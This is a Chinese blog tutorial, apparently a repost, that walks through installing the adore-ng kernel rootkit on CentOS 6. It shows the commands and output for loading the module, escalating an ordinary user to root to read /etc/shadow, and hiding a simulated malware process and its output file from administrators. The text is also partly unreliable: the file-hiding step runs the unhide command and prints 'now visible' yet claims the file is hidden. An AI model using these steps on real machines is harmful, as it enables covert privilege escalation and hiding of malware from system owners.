Rootkit 之 adore-ng 模拟木马病毒

Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。

在我们生活中,经常看的电视剧谍战片里有一个必不可少的人物——卧底。它的职责就是:良好的伪装使得对手对此长时间毫无察觉;他赢得敌人的信任并因此身居要职,这使得他能够源源不断地获取重要情报并利用其独特渠道传送回去。

而我们今天要模拟学习的就是与它很像的恶意软件 Rootkit 其中之一:adore-ng

环境:Centos 6

这里需要的用到的两个资源(可下载):

  • adore-ng-master.zip
    -link
  • kernel-devel-2.6.32-754.27.1.el6.x86_64.rpm
    -link

安装 adore-ng

安装依赖:kernel-devel-2.6

[root@Fp-01 ~]# yum -y install kernel-devel-2.6.32-754.27.1.el6.x86_64.rpm 
Loaded plugins: fastestmirror, security
Setting up Install Process
……
Installed:
  kernel-devel.x86_64 0:2.6.32-754.27.1.el6                                                                                          
Complete!

解压安装 adore-ng

[root@Fp-01 ~]# unzip adore-ng-master.zip
[root@Fp-01 ~]# cd adore-ng-master
[root@Fp-01 adore-ng-master]# ll
-rw-r--r--. 1 root root  1143 Dec 30  2015 Makefile
# 已经有 makefile 文件,直接 make -j 4 编译即可
[root@Fp-01 adore-ng-master]# make -j 4

加载模块

[root@Fp-01 adore-ng-master]# insmod adore-ng.ko

查看帮助

[root@Fp-01 adore-ng-master]# ./ava
       I print info (secret UID etc)	
       h hide file	# 隐藏文件
       u unhide file	# 取消隐藏文件
       r execute as root	# 以root用户执行
       R remove PID forever	# 永久删除PID
       U uninstall adore	# 卸载 adore
       i make PID invisible	# 隐藏PID
       v make PID visible	# 取消隐藏PID

普通用户提权为 root

添加一个普通用户为一会测试使用

[root@Fp-01 ~]# useradd tom
[root@Fp-01 ~]# echo "123456" | passwd --stdin tom
Changing password for user tom.
passwd: all authentication tokens updated successfully.

复制 adore-ng 到 /tmp 下,因为切换用户无法进入 root 家目录,cp -r:递归复制

[root@Fp-01 ~]# cp -r adore-ng-master /tmp/

切换用户,使用 tom 用户登录服务器

[root@Fp-01 ~]# ssh [email protected]
Are you sure you want to continue connecting (yes/no)? yes
[email protected]'s password: 
[tom@Fp-01 ~]$ whoami
tom

进行测试,编辑 /etc/shadow

[tom@Fp-01 ~]$ vim /etc/shadow                                                                     ……                     
"/etc/shadow" [Permission Denied] 

可以看到,权限被拒绝,此时,就需要用到 ava 提权

[tom@Fp-01 ~]$ /tmp/adore-ng-master/ava r vim /etc/shadow
56,501,501,56
Adore 1.56 installed. Good luck.
root:$6$tQrXvHNXMxM6eTuN$WJWqoN5bYKuy/PVxpVeWYLCCZ32OCur1rjHIvHOOytjLPPxRMV3jRB6IbENgA2ZBDWI0cwEOTBSwVnmmQlyT7.:18172:0:99999:7:::
bin:*:15980:0:99999:7:::
daemon:*:15980:0:99999:7:::
adm:*:15980:0:99999:7:::
……

在另一个终端上查看进程,用户身份是 root,说明提权成功

[root@Fp-01 ~]# ps -ef |grep /etc/shadow
root      32703  30867  0 12:03 pts/3    00:00:00 vim /etc/shadow
root      32727  32667  0 12:03 pts/4    00:00:00 grep /etc/shadow

隐藏木马进程

模拟编辑一个木马程序

[tom@Fp-01 opt]$ /tmp/adore-ng-master/ava r mkdir script
56,501,501,56
Adore 1.56 installed. Good luck.
[tom@Fp-01 opt]$ ll
total 4
drwxrwxr-x. 2 root root 4096 Feb 13 12:09 script
[tom@Fp-01 script]$ /tmp/adore-ng-master/ava r vim a.sh
56,500,500,56
Adore 1.56 installed. Good luck.
#!/bin/bash

while :
do
        echo `This is the virus` >> date.txt
        sleep 1
done

简单的模拟木马程序,输出“这是病毒体”,加上执行权限,后台运行

[tom@Fp-01 script]$ /tmp/adore-ng-master/ava r chmod +x a.sh
56,501,501,56
Adore 1.56 installed. Good luck.
[tom@Fp-01 script]$ /tmp/adore-ng-master/ava r ./a.sh &
[1] 33987
[tom@Fp-01 script]$ 56,501,501,56
Adore 1.56 installed. Good luck.

先去查看进程,通过进程号

[tom@Fp-01 script]$ ps -ef |grep 33987
root      33987  30867  0 12:14 pts/3    00:00:00 /bin/bash ./a.sh
root      34137  33987  0 12:14 pts/3    00:00:00 sleep 1
tom       34139  30867  0 12:14 pts/3    00:00:00 grep 33987

可以查看到,接下来,模拟黑客隐藏进程

[tom@Fp-01 script]$ /tmp/adore-ng-master/ava i 33987
56,501,501,56
Adore 1.56 installed. Good luck.
Made PID 33987 invisible.

隐藏成功,此时,我们再去查看进程发现,进程已经被隐藏

[tom@Fp-01 script]$ ps -ef |grep 33987
tom       34139  30867  0 12:14 pts/3    00:00:00 grep 33987

大招:隐藏文件

先来查看 /opt 目录下的文件信息

[tom@Fp-01 ~]$ ll /opt/
total 4
drwxrwxr-x. 2 root root 4096 Feb 13 12:14 script
[tom@Fp-01 ~]$ ll /opt/script/
total 32
-rwxrwxr-x. 1 root root    77 Feb 13 12:13 a.sh
-rw-rw-r--. 1 root root 24737 Feb 13 12:24 date.txt
[tom@Fp-01 ~]$ tree /opt/
/opt/
└── script
    ├── a.sh
    └── date.txt

我们模拟隐藏 date.txt

[tom@Fp-01 script]$ /tmp/adore-ng-master/ava u date.txt
56,500,500,56
Adore 1.56 installed. Good luck.
File 'date.txt' is now visible.

此时去查看,便发现文件已经找不到了

[root@Fp-01 script]# tree /opt/
/opt/
└── script
    └── a.sh
[root@Fp-01 ~]# ll /opt/script/
total 48
-rwxrwxr-x. 1 root root    77 Feb 13 12:13 a.sh

提权为 root 权限–>隐藏父进程–>父进程启动子进程(病毒体)–>隐藏文件夹

最终结合起来,便是完成的一个木马病毒,系统管理员很难发现

只有注入思想的博客才是好的博客

发布了10 篇原创文章 · 获赞 13 · 访问量 1516

猜你喜欢

转载自blog.csdn.net/xtlhxl/article/details/104293841